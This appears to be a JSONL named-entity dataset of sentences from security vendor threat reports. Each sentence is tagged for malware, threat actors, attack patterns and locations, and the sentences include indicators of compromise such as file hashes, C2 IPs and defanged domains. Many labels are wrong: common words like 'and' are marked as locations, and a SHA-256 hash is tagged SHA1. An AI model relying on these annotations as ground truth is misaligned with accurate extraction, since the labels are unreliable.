{"id":4499,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.","entities":[{"id":50301,"label":"attack-pattern","start_offset":158,"end_offset":182}],"relations":[],"Comments":[]}
{"id":13838,"text":"Although in this case, the affected process is specified in the first-stage shellcode, the API hooking logic is quite generic that the same piece of shellcode can be used to hook other vendors' products.","entities":[{"id":42903,"label":"location","start_offset":17,"end_offset":21},{"id":42905,"label":"attack-pattern","start_offset":95,"end_offset":102},{"id":42906,"label":"location","start_offset":135,"end_offset":139},{"id":42907,"label":"location","start_offset":159,"end_offset":162},{"id":42908,"label":"location","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]}
{"id":3028,"text":"Good smart car security in this case means building on the good security around devices and good physical security.","entities":[],"relations":[],"Comments":[]}
{"id":5774,"text":"Share your thoughts in the comments below or follow me on Twitter to continue the conversation: @JonLClay.","entities":[],"relations":[],"Comments":[]}
{"id":8274,"text":"These Yara rules allowed us to find other samples, which delivered other basic RATs like H-Worm, Luminosity, and RemCOS.","entities":[{"id":25536,"label":"location","start_offset":109,"end_offset":112},{"id":25537,"label":"malware","start_offset":113,"end_offset":119}],"relations":[],"Comments":[]}
{"id":592,"text":"In the case of Hancitor, it\u2019s typically banking Trojans that steal the victim\u2019s banking information.","entities":[{"id":46183,"label":"malware","start_offset":15,"end_offset":23},{"id":46184,"label":"attack-pattern","start_offset":61,"end_offset":99}],"relations":[],"Comments":[]}
{"id":6427,"text":"Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package.","entities":[],"relations":[],"Comments":[]}
{"id":14205,"text":"Open-source ransomware projects EDA2 and Hidden Tear\u2014supposedly created for educational purposes\u2014were hosted on GitHub, and have since spawned various offshoots that have been found targeting enterprises.","entities":[],"relations":[],"Comments":[]}
{"id":2940,"text":"It shows how attackers are aggressively focusing their operations and campaigns on generating and acquiring cryptocurrency.","entities":[],"relations":[],"Comments":[]}
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{"id":2437,"text":" Figure 8 shows the payload drops a password-protected webshell in the Tomcat ROOT directory called shell7.jsp.","entities":[{"id":47504,"label":"SOFTWARE","start_offset":71,"end_offset":77},{"id":47505,"label":"FILEPATH","start_offset":100,"end_offset":110}],"relations":[],"Comments":[]}
{"id":6521,"text":"Command and Scripting Interpreter: Visual Basic \u2013 T1059.005 User Execution: Malicious Link \u2013 T1204.001 User Execution: Malicious File \u2013 T1204.002 Persistence, Privilege Escalation  Boot or Logon Autostart Execution: Registry Run Keys \/ Startup Folder - T1547.001  Discovery  Account Discovery: Domain Account - T1087.002  Credential Access  Credentials from Password Stores: Credentials from Web Browsers \u2013 T1555.003  Command and Control  Data Encoding: Standard Encoding \u2013 T1132.001  Defense Evasion  Deobfuscate\/Decode Files or Information - T1140   Indicators of Compromise Files  File name SHA-256 Trend Micro Detection Name Description SharpChisel.exe 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2 HackTool.MSIL.Chisel.A SharpChisel tunneling tool PD64.dll ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131 Trojan.Win64.PASSDUMP.A File used by HackTool.Win64.PassDump.AC PasswordDumper.exe 0cd6f593cc58ba3ac40f9803d97a6162a308ec3caa53e1ea1ce7f977f2e667d3 HackTool.Win64.PassDump.AC","entities":[{"id":20207,"label":"location","start_offset":8,"end_offset":11},{"id":20208,"label":"attack-pattern","start_offset":12,"end_offset":21},{"id":20209,"label":"attack-pattern","start_offset":60,"end_offset":74},{"id":20210,"label":"attack-pattern","start_offset":103,"end_offset":117},{"id":20211,"label":"attack-pattern","start_offset":159,"end_offset":179},{"id":20212,"label":"location","start_offset":236,"end_offset":243},{"id":20213,"label":"attack-pattern","start_offset":275,"end_offset":292},{"id":20214,"label":"location","start_offset":426,"end_offset":429},{"id":20215,"label":"attack-pattern","start_offset":439,"end_offset":452},{"id":20216,"label":"location","start_offset":454,"end_offset":462},{"id":20217,"label":"location","start_offset":608,"end_offset":613},{"id":20218,"label":"SHA1","start_offset":657,"end_offset":721},{"id":20219,"label":"location","start_offset":767,"end_offset":771},{"id":20220,"label":"SHA2","start_offset":781,"end_offset":845},{"id":20221,"label":"SHA2","start_offset":929,"end_offset":993}],"relations":[],"Comments":[]}
{"id":6907,"text":"APP provides the strongest protections available against phishing and account hijacking and is specifically designed for the highest-risk accounts.","entities":[{"id":21606,"label":"attack-pattern","start_offset":57,"end_offset":65},{"id":21607,"label":"location","start_offset":66,"end_offset":69},{"id":21608,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
{"id":7630,"text":"While analyzing TA505's activities, we encountered strange attacks that were very similar to TA505\u2019s TTPs but with some differences.","entities":[{"id":23744,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":23745,"label":"threat-actor","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]}
{"id":12769,"text":"Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear.","entities":[{"id":39717,"label":"location","start_offset":27,"end_offset":30},{"id":39718,"label":"location","start_offset":48,"end_offset":51},{"id":39719,"label":"tools","start_offset":73,"end_offset":80},{"id":39720,"label":"location","start_offset":110,"end_offset":114},{"id":39724,"label":"location","start_offset":193,"end_offset":196}],"relations":[],"Comments":[]}
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{"id":8862,"text":"Trickbot\u2019s binary, which is not whitelisted, does the injection; in PlugX\u2019s case, a normal process that is possibly whitelisted, does the injection.","entities":[{"id":27427,"label":"malware","start_offset":68,"end_offset":73},{"id":27428,"label":"location","start_offset":76,"end_offset":80},{"id":27429,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
{"id":2500,"text":"Read more on the XSOAR marketplace.","entities":[{"id":47601,"label":"SOFTWARE","start_offset":17,"end_offset":22}],"relations":[],"Comments":[]}
{"id":2856,"text":"Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.","entities":[],"relations":[],"Comments":[]}
{"id":4965,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection  Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[{"id":51009,"label":"DOMAIN","start_offset":141,"end_offset":168},{"id":51010,"label":"DOMAIN","start_offset":169,"end_offset":179},{"id":15245,"label":"URL","start_offset":13,"end_offset":123}],"relations":[],"Comments":[]}
{"id":419,"text":"In a worst case, the slow-down can be so severe that it can make a website basically unusable.","entities":[],"relations":[],"Comments":[]}
{"id":1029,"text":"In fact, anyone can do the same by visiting the California Colleges Create an Account page.","entities":[{"id":44918,"label":"identity","start_offset":48,"end_offset":67}],"relations":[],"Comments":[]}
{"id":4468,"text":"Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.","entities":[{"id":50258,"label":"attack-pattern","start_offset":74,"end_offset":92}],"relations":[],"Comments":[]}
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{"id":11096,"text":"In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.","entities":[{"id":33879,"label":"attack-pattern","start_offset":34,"end_offset":42},{"id":33881,"label":"location","start_offset":113,"end_offset":116},{"id":33884,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
{"id":3688,"text":"Privilege Escalation","entities":[{"id":11194,"label":"attack-pattern","start_offset":0,"end_offset":20}],"relations":[],"Comments":[]}
{"id":10505,"text":"Generally, 2020 has been dominated by COVID-19.","entities":[],"relations":[],"Comments":[]}
{"id":4442,"text":"C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries","entities":[{"id":50214,"label":"malware","start_offset":33,"end_offset":44},{"id":13275,"label":"IPV4","start_offset":4,"end_offset":18},{"id":13276,"label":"IPV4","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
{"id":5330,"text":"The child process will connect to the C&C server and write four bytes to the SSL socket.","entities":[],"relations":[],"Comments":[]}
{"id":4989,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[{"id":51049,"label":"SOFTWARE","start_offset":44,"end_offset":58},{"id":51050,"label":"attack-pattern","start_offset":80,"end_offset":91}],"relations":[],"Comments":[]}
{"id":2366,"text":"That campaign is not connected to the one described in today\u2019s post.","entities":[],"relations":[],"Comments":[]}
{"id":5114,"text":"You see a bunch of text go across the screen and they penetrate through the first firewall, through the second firewall in into the data.","entities":[],"relations":[],"Comments":[]}
{"id":12731,"text":"An AWS instance, by default, does not have any identity access management (IAM) permissions attached; rather, these permissions must be defined by the AWS administrator.","entities":[],"relations":[],"Comments":[]}
{"id":8290,"text":"His motives remain unclear since the documents themselves did not contain any particularly unusual information.","entities":[],"relations":[],"Comments":[]}
{"id":13641,"text":"The recent campaigns target senior positions in the United States and Canada.","entities":[{"id":51729,"label":"identity","start_offset":28,"end_offset":44},{"id":51731,"label":"location","start_offset":70,"end_offset":76},{"id":51728,"label":"campaign","start_offset":4,"end_offset":20},{"id":51730,"label":"location","start_offset":52,"end_offset":65}],"relations":[{"id":1145,"from_id":51728,"to_id":51729,"type":"targets"},{"id":1146,"from_id":51729,"to_id":51730,"type":"located-at"},{"id":1147,"from_id":51729,"to_id":51731,"type":"located-at"}],"Comments":[]}
{"id":9745,"text":"The blurred document contains logos of different Turkish government entities  Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":615,"text":"What is most interesting about Hancitor is the way these decisions so clearly reflect an awareness of business realities (by targeting peak working times) and dividing up the \u201cwork\u201d of their attacks in a way that so clearly mirrors mainstream business decisions around globalizing operations.","entities":[{"id":45796,"label":"malware","start_offset":31,"end_offset":39}],"relations":[],"Comments":[]}
{"id":296,"text":"Beyond Alert AA22-011A, CISA\u2019s overarching guidance for attack surface reduction includes hardening of forward-facing network services, with prioritized patching of KEVs, as documented in Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities (KEV).","entities":[{"id":45994,"label":"identity","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]}
{"id":11680,"text":"These pages were copied from the webmail servers of various targets and then modified for spear-phishing attacks designed to steal login credentials.","entities":[{"id":35819,"label":"location","start_offset":68,"end_offset":71},{"id":35820,"label":"location","start_offset":90,"end_offset":95},{"id":35821,"label":"attack-pattern","start_offset":96,"end_offset":104}],"relations":[],"Comments":[]}
{"id":13632,"text":"The code used to obtain user QQ numbers     Protecting e-commerce platforms from Water Pamola\u2019s attacks Water Pamola attacked online merchants with an XSS script appended onto online shopping orders.","entities":[{"id":51716,"label":"campaign","start_offset":81,"end_offset":93},{"id":51717,"label":"campaign","start_offset":104,"end_offset":116},{"id":51718,"label":"identity","start_offset":126,"end_offset":142},{"id":51719,"label":"attack-pattern","start_offset":151,"end_offset":154}],"relations":[{"id":1141,"from_id":51717,"to_id":51719,"type":"uses"},{"id":1140,"from_id":51717,"to_id":51718,"type":"targets"}],"Comments":[]}
{"id":7750,"text":"Figure 16.","entities":[],"relations":[],"Comments":[]}
{"id":4574,"text":"In addition to including phishing links directly in the email, the attackers also link to PDFs and\/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.","entities":[{"id":50420,"label":"SOFTWARE","start_offset":118,"end_offset":130},{"id":50419,"label":"attack-pattern","start_offset":25,"end_offset":39},{"id":50421,"label":"SOFTWARE","start_offset":135,"end_offset":154}],"relations":[],"Comments":[]}
{"id":13957,"text":"Unfortunately, some organizations may be putting cybersecurity on the back burner.","entities":[],"relations":[],"Comments":[]}
{"id":6704,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":20847,"label":"location","start_offset":66,"end_offset":76},{"id":20848,"label":"location","start_offset":109,"end_offset":117},{"id":20849,"label":"location","start_offset":123,"end_offset":126},{"id":20850,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":20851,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
{"id":4081,"text":" Customized Lilith RAT  ","entities":[{"id":12317,"label":"malware","start_offset":12,"end_offset":22}],"relations":[],"Comments":[]}
{"id":3974,"text":"   Trend Micro Solutions Trend Micro\u2019s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise \u2014 including email, endpoints, servers, cloud workloads, and networks \u2014 making faster connections to identify and stop attacks.","entities":[{"id":49834,"label":"identity","start_offset":25,"end_offset":36},{"id":49835,"label":"identity","start_offset":147,"end_offset":158},{"id":49833,"label":"SOFTWARE","start_offset":3,"end_offset":24}],"relations":[],"Comments":[]}
{"id":9350,"text":"Scheduled jobs  Source Command alive_latest_files_watcher Starts latest_files_watcher job and keeps it alive enviorment_schedulers","entities":[{"id":28840,"label":"attack-pattern","start_offset":16,"end_offset":22},{"id":28841,"label":"location","start_offset":86,"end_offset":89},{"id":28842,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
{"id":7357,"text":"Anomalous properties of a command detected from traffic","entities":[],"relations":[],"Comments":[]}
{"id":12001,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
{"id":10076,"text":"These vulnerabilities, when combined, could allow an unauthenticated attacker to execute arbitrary code as Administrator on an affected system.","entities":[],"relations":[],"Comments":[]}
{"id":14271,"text":"When the downloaded APK file is installed and launched, it will send the infected device\u2019s Unix timestamp to 0046769438867, a phone number containing Sweden\u2019s code.","entities":[],"relations":[],"Comments":[]}
{"id":4911,"text":"Most of the observed malware was capable of stealing both user passwords and cookies.","entities":[],"relations":[],"Comments":[]}
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{"id":8886,"text":"However, the attacker was able to delete it before we were able to get our hands on the tools used for investigation purposes.","entities":[],"relations":[],"Comments":[]}
{"id":12270,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]}
{"id":3020,"text":"Smart speakers can be thought of as a subset of home assistants in that they are voice-activated devices in your home.","entities":[],"relations":[],"Comments":[]}
{"id":11045,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
{"id":25,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Over the past six months, we\u2019ve seen a major increase in the number of attack campaigns with the ultimate goal of mining cryptocurrency.","entities":[],"relations":[],"Comments":[]}
{"id":2379,"text":"This loader, written in C#, has been used by malicious actors since July 2020.","entities":[{"id":45482,"label":"TIME","start_offset":68,"end_offset":77}],"relations":[],"Comments":[]}
{"id":9720,"text":"The getCommand method","entities":[],"relations":[],"Comments":[]}
{"id":3957,"text":"For packaging stolen credentials and other logs, it uses the makecab command instead of a third-party application such as rar.exe.","entities":[{"id":49814,"label":"FILEPATH","start_offset":122,"end_offset":129},{"id":49813,"label":"attack-pattern","start_offset":14,"end_offset":32}],"relations":[],"Comments":[]}
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{"id":11055,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]}
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{"id":4394,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
{"id":3898,"text":"In 2019, Trend Micro conducted research analyzing cyberattacks by building and using a factory honeypot, mimicking a factory environment.","entities":[{"id":49752,"label":"TIME","start_offset":3,"end_offset":7},{"id":49753,"label":"identity","start_offset":9,"end_offset":20}],"relations":[],"Comments":[]}
{"id":13196,"text":"The backdoor version name, registered service name, and malware components\u2019 filenames  Welcome To IDShell 1.0 20150310\u2019s backdoor (detected as BKDR_IDSHELL.ZTFC-A) - The purpose of this backdoor, which has two types, including a steganography jpg version, is to recon the target machine.","entities":[{"id":41163,"label":"location","start_offset":52,"end_offset":55},{"id":41164,"label":"location","start_offset":87,"end_offset":94},{"id":41166,"label":"malware","start_offset":262,"end_offset":267},{"id":41167,"label":"location","start_offset":272,"end_offset":278}],"relations":[],"Comments":[]}
{"id":5384,"text":"We have been able to determine that the botnet of Cyclops Blink infected routers from both compromised WatchGuard devices and Asus routers.","entities":[{"id":51379,"label":"malware","start_offset":50,"end_offset":63}],"relations":[],"Comments":[]}
{"id":7646,"text":"Another factor is its different codepage.","entities":[],"relations":[],"Comments":[]}
{"id":172,"text":"But when your organization\u2019s overall accounting and audit report is inaccessible right before the big deadline, that\u2019s catastrophic.","entities":[],"relations":[],"Comments":[]}
{"id":14390,"text":"An attack using many hops could see movement between managed endpoints, IoT, email, network components, containers and cloud-based servers over the course of many months.","entities":[],"relations":[],"Comments":[]}
{"id":4266,"text":"The other file stealer (1f0dabd61947b6df8a392b77a0eae33777be3caad13698aecc223b54ab4b859a, Detected as TROJ_DELF.XXWZ) is related to a domain reported in September 2016.","entities":[{"id":50069,"label":"malware","start_offset":102,"end_offset":116},{"id":50070,"label":"TIME","start_offset":153,"end_offset":167},{"id":50068,"label":"SHA2","start_offset":24,"end_offset":88}],"relations":[{"id":914,"from_id":50068,"to_id":50069,"type":"indicates"}],"Comments":[]}
{"id":4087,"text":"In this technique, the RAT will be disguised as the normal wlbsctrl.dll.","entities":[{"id":49922,"label":"FILEPATH","start_offset":59,"end_offset":71}],"relations":[],"Comments":[]}
{"id":2531,"text":"This client got only a small fraction of the file restorations that were promised before the Conti ransomware representatives disappeared back into the dark web.","entities":[{"id":47725,"label":"threat-actor","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]}
{"id":7147,"text":"The closer look into Iron Tiger was prompted because of an incident response investigation involving a Philippine-based gambling company that the group targeted.","entities":[],"relations":[],"Comments":[]}
{"id":12813,"text":"Table 1: C&C servers shared by PLEAD, Shrouded Crossbow, and Waterbear","entities":[{"id":39897,"label":"malware","start_offset":31,"end_offset":36},{"id":39898,"label":"threat-actor","start_offset":38,"end_offset":55},{"id":39899,"label":"location","start_offset":57,"end_offset":60},{"id":39900,"label":"malware","start_offset":61,"end_offset":70}],"relations":[],"Comments":[]}
{"id":643,"text":" We have not yet confirmed the initial infection vector for this new Petya variant.","entities":[{"id":2132,"label":"malware","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]}
{"id":11495,"text":"Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.","entities":[{"id":35159,"label":"location","start_offset":84,"end_offset":87},{"id":35160,"label":"threat-actor","start_offset":88,"end_offset":96}],"relations":[],"Comments":[]}
{"id":2305,"text":"The iOS exploit chain used a framework based on Ironsquirrel to encrypt exploits delivered to the victim's browser.","entities":[{"id":6866,"label":"malware","start_offset":48,"end_offset":60},{"id":47370,"label":"SOFTWARE","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
{"id":14324,"text":"We looked into one of the Twitter accounts (seen in Figure 1) that promoted Virtual Girlfriend.","entities":[{"id":48548,"label":"SOFTWARE","start_offset":26,"end_offset":34},{"id":48549,"label":"malware","start_offset":76,"end_offset":94}],"relations":[],"Comments":[]}
{"id":13744,"text":"\u201cmtxoci.dll\u201d first tries to query the registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\MSDTC\\MTxOCI\" to see if the value \"OracleOciLib\" exists.","entities":[{"id":42726,"label":"REGISTRYKEY","start_offset":52,"end_offset":102}],"relations":[],"Comments":[]}
{"id":9234,"text":"Am I impacted?","entities":[],"relations":[],"Comments":[]}
{"id":2710,"text":"Additionally, Windows XP systems running IE 6, 7 and 8 are also vulnerable, but will not receive a patch, as Microsoft no longer supports them.","entities":[{"id":47953,"label":"identity","start_offset":109,"end_offset":118},{"id":47951,"label":"SOFTWARE","start_offset":14,"end_offset":24},{"id":47952,"label":"SOFTWARE","start_offset":41,"end_offset":54}],"relations":[],"Comments":[]}
{"id":13287,"text":"Decrypted backdoor configuration","entities":[],"relations":[],"Comments":[]}
{"id":13075,"text":"Not long after the breach occurred, the compromised data was spotted on ads posted on Instagram stories, Telegram channels and various hacking forums.","entities":[{"id":48896,"label":"SOFTWARE","start_offset":86,"end_offset":96},{"id":48897,"label":"SOFTWARE","start_offset":105,"end_offset":114}],"relations":[],"Comments":[]}
{"id":4073,"text":"If no config file is imported, it will connect to the predefined C&C address.","entities":[],"relations":[],"Comments":[]}
{"id":4466,"text":"In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.","entities":[{"id":50254,"label":"TIME","start_offset":3,"end_offset":16},{"id":50255,"label":"threat-actor","start_offset":70,"end_offset":79},{"id":50256,"label":"SOFTWARE","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]}
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{"id":13960,"text":"In a US Senate hearing on cybersecurity threats, Senator Rob Portman of Ohio described the strike on Colonial Pipeline as \u201cpotentially the most substantial and damaging attack on US critical infrastructure ever.\u201d","entities":[{"id":48769,"label":"identity","start_offset":49,"end_offset":68},{"id":48768,"label":"identity","start_offset":5,"end_offset":14},{"id":48770,"label":"location","start_offset":72,"end_offset":77},{"id":48771,"label":"location","start_offset":179,"end_offset":182}],"relations":[{"id":459,"from_id":48769,"to_id":48768,"type":"related-to"},{"id":460,"from_id":48769,"to_id":48770,"type":"related-to"}],"Comments":[]}
{"id":10252,"text":"To illustrate the simplicity of the malware in Pawn Storm\u2019s recent spear-phishing attacks, we describe one example below:","entities":[{"id":31338,"label":"location","start_offset":67,"end_offset":72},{"id":31339,"label":"attack-pattern","start_offset":73,"end_offset":81},{"id":31340,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
{"id":8075,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":25056,"label":"malware","start_offset":18,"end_offset":30},{"id":25057,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
{"id":6693,"text":"Today, we\u2019re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":20803,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":20804,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
{"id":3572,"text":"However, if ConfuserEx is built outside Git, the version update tool will just generate the value \u201cversion-custom\u201d as shown below.","entities":[{"id":49355,"label":"tools","start_offset":12,"end_offset":22},{"id":49356,"label":"tools","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
{"id":11889,"text":"Word documents with the following classid: {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} Related infrastructure: workaj[.]com wordzmncount[.]com Not all attacks require chaining multiple 0-day exploits to be successful.","entities":[],"relations":[],"Comments":[]}
{"id":4887,"text":"With increased detection efforts, we\u2019ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).","entities":[{"id":50905,"label":"identity","start_offset":150,"end_offset":157},{"id":50901,"label":"SOFTWARE","start_offset":78,"end_offset":83},{"id":50903,"label":"identity","start_offset":127,"end_offset":136},{"id":50902,"label":"identity","start_offset":117,"end_offset":125},{"id":50904,"label":"identity","start_offset":138,"end_offset":145}],"relations":[],"Comments":[]}
{"id":13028,"text":"We have not observed any Gmail accounts successfully compromised during these campaigns.","entities":[{"id":48865,"label":"SOFTWARE","start_offset":25,"end_offset":31}],"relations":[],"Comments":[]}
{"id":8578,"text":"One of APT35\u2019s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]}
{"id":3697,"text":"Carbanak also performs techniques for disabling security tools, deleting files that are left in malicious activity, and modifying registry to hide configuration information.","entities":[{"id":49494,"label":"attack-pattern","start_offset":120,"end_offset":138},{"id":49493,"label":"attack-pattern","start_offset":64,"end_offset":78},{"id":49491,"label":"attack-pattern","start_offset":38,"end_offset":62},{"id":49492,"label":"threat-actor","start_offset":0,"end_offset":8}],"relations":[{"id":806,"from_id":49492,"to_id":49491,"type":"uses"},{"id":807,"from_id":49492,"to_id":49493,"type":"uses"},{"id":808,"from_id":49492,"to_id":49494,"type":"uses"}],"Comments":[]}
{"id":4286,"text":"The group still uses the Badnews malware, a backdoor with information-stealing and file-executing capabilities, albeit updated with a slight modification in the encryption routine at the end of 2017, when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost.","entities":[{"id":50084,"label":"malware","start_offset":25,"end_offset":40},{"id":50085,"label":"attack-pattern","start_offset":58,"end_offset":78},{"id":50086,"label":"attack-pattern","start_offset":83,"end_offset":97},{"id":50087,"label":"TIME","start_offset":187,"end_offset":198},{"id":50088,"label":"threat-actor","start_offset":294,"end_offset":303}],"relations":[{"id":917,"from_id":50084,"to_id":50085,"type":"uses"},{"id":918,"from_id":50084,"to_id":50086,"type":"uses"}],"Comments":[]}
{"id":5089,"text":"Attacker-Owned Websites: Compromised Websites (Feb 7 - Feb 9): Exploitation URLs:","entities":[],"relations":[],"Comments":[]}
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{"id":7984,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
{"id":12609,"text":"The payload arrives as a .NET executable (as a .DLL file), which has been packed\/protected using the ConfuserEx packer.","entities":[],"relations":[],"Comments":[]}
{"id":4447,"text":"We appreciate the Committee\u2019s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.","entities":[],"relations":[],"Comments":[]}
{"id":4738,"text":" Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.","entities":[],"relations":[],"Comments":[]}
{"id":7904,"text":"As shown below, the volume of coinmining increase nearly 2,800% in a year.","entities":[],"relations":[],"Comments":[]}
{"id":5108,"text":"&amp;nbsp; [Lightly edited transcript of the video above] Hi there, Mark Nunnikhoven from Trend Micro Research, I want to talk to you about the concept of lateral movement.","entities":[{"id":51211,"label":"attack-pattern","start_offset":155,"end_offset":171},{"id":51209,"label":"identity","start_offset":68,"end_offset":84},{"id":51210,"label":"identity","start_offset":90,"end_offset":110}],"relations":[{"id":1071,"from_id":51209,"to_id":51210,"type":"related-to"}],"Comments":[]}
{"id":2793,"text":"Most of all, this latest development shows how a changing economic landscape in turn changes the cybercrime landscape.","entities":[],"relations":[],"Comments":[]}
{"id":792,"text":"But this is not the end.","entities":[],"relations":[],"Comments":[]}
{"id":9966,"text":"Here\u2019s how Operation Red Signature works:  The code-signing certificate from the remote support solutions provider is stolen.","entities":[{"id":30435,"label":"threat-actor","start_offset":11,"end_offset":34},{"id":30436,"label":"location","start_offset":81,"end_offset":87}],"relations":[],"Comments":[]}
{"id":73,"text":"For defenders, it\u2019s important to note that the techniques used to infect systems with coin mining malware are the same as they were for ransomware.","entities":[],"relations":[],"Comments":[]}
{"id":6618,"text":" Once gaining access to an end point, actors would use credential dumping tools, such as Mimikatz to gather credentials to legitimate accounts to then move laterally to other systems on the network.","entities":[{"id":20514,"label":"location","start_offset":31,"end_offset":36},{"id":20515,"label":"attack-pattern","start_offset":55,"end_offset":73},{"id":20516,"label":"malware","start_offset":89,"end_offset":97}],"relations":[],"Comments":[]}
{"id":5510,"text":"\"A few weeks ago, British Airways was hit by the largest ever regulatory fine of its kind, after global customers visiting its website had their card data stolen.","entities":[{"id":51521,"label":"identity","start_offset":18,"end_offset":33}],"relations":[],"Comments":[]}
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{"id":8277,"text":"OPSEC 101 \u2013 Or How Not To Do OPSECGathering the above information was enough to protect our customers.","entities":[],"relations":[],"Comments":[]}
{"id":3055,"text":"According to AppBrain, the app was also listed in top 30 of Top Grossing Apps in Tools category in United States, Japan, France and South Korea.","entities":[{"id":48132,"label":"location","start_offset":99,"end_offset":112},{"id":48131,"label":"identity","start_offset":13,"end_offset":21},{"id":48133,"label":"location","start_offset":114,"end_offset":119},{"id":48134,"label":"location","start_offset":121,"end_offset":127},{"id":48135,"label":"location","start_offset":132,"end_offset":143}],"relations":[],"Comments":[]}
{"id":814,"text":"Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.","entities":[],"relations":[],"Comments":[]}
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{"id":14166,"text":"Also, our almost 15 years of investing in and building AI\/Machine Learning technologies into our backend and frontend products will allow us to have the data analytics piece covered.","entities":[],"relations":[],"Comments":[]}
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{"id":3450,"text":" Palo Alto Networks customers receive protections against the exploitation of this vulnerability in the following ways:  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":49223,"label":"identity","start_offset":1,"end_offset":19},{"id":49224,"label":"identity","start_offset":121,"end_offset":139}],"relations":[],"Comments":[]}
{"id":5448,"text":"This means the risks of losing control of your accounts through mobile online banking are likely to increase.","entities":[],"relations":[],"Comments":[]}
{"id":651,"text":"Once the system reboots, the malware displays a fake \u201cchkdisk\u201d scan which tricks the victim into believing the program is repairing their hard drive.","entities":[],"relations":[],"Comments":[]}
{"id":10632,"text":"After compromising the developer, Sandworm built a backdoor in one of the legitimate apps and attempted to publish it on the Play Store.","entities":[{"id":32441,"label":"threat-actor","start_offset":34,"end_offset":42},{"id":32442,"label":"location","start_offset":63,"end_offset":66},{"id":32443,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
{"id":14114,"text":"The compile times that are listed on binaries provide an estimate of the threat actor's working hours and help approximate possible time zones where the malware was developed.","entities":[],"relations":[],"Comments":[]}
